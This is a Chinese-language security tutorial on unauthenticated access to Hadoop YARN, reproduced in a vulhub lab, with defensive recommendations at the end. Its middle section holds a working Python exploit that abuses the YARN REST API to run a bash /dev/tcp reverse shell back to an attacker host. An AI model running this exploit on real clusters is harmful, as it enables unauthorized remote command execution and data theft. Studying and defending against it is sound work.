微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

浅谈未授权漏洞——Hadoop未授权

0x01 漏洞简介以及危害

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

0x02 漏洞利用

环境复现

目标靶机:mac os
ip:192.168.2.85

攻击机:kali
ip:10.211.55.8

Hadoop相关环境利用vulhub进行复现,vulhub安装教程请自行百度

cd /vulhub/hadoop/unauthorized-yarn
docker-compose up -d

访问http://ip:8088即可看到Hadoop YARN ResourceManager WebUI页面,形成了未授权访问

反弹shell

可以利用REST API命令执行,在攻击机监听端口,获取反弹shell

#python exp:
    
#!/usr/bin/env python

import requests

target = 'http://192.168.2.85:8088/'
lhost = '10.211.55.8' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

nc监听端口

nv -lvnp 9999

运行脚本,获取shell

python hadoop.py

成功反弹shell,执行命令

0x03 防护建议

  • 如无必要,关闭 Hadoop Web 管理页面
  • 开启身份验证,防止未经授权用户访问。
  • 设置“安全组”访问控制策略,将 Hadoop 认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐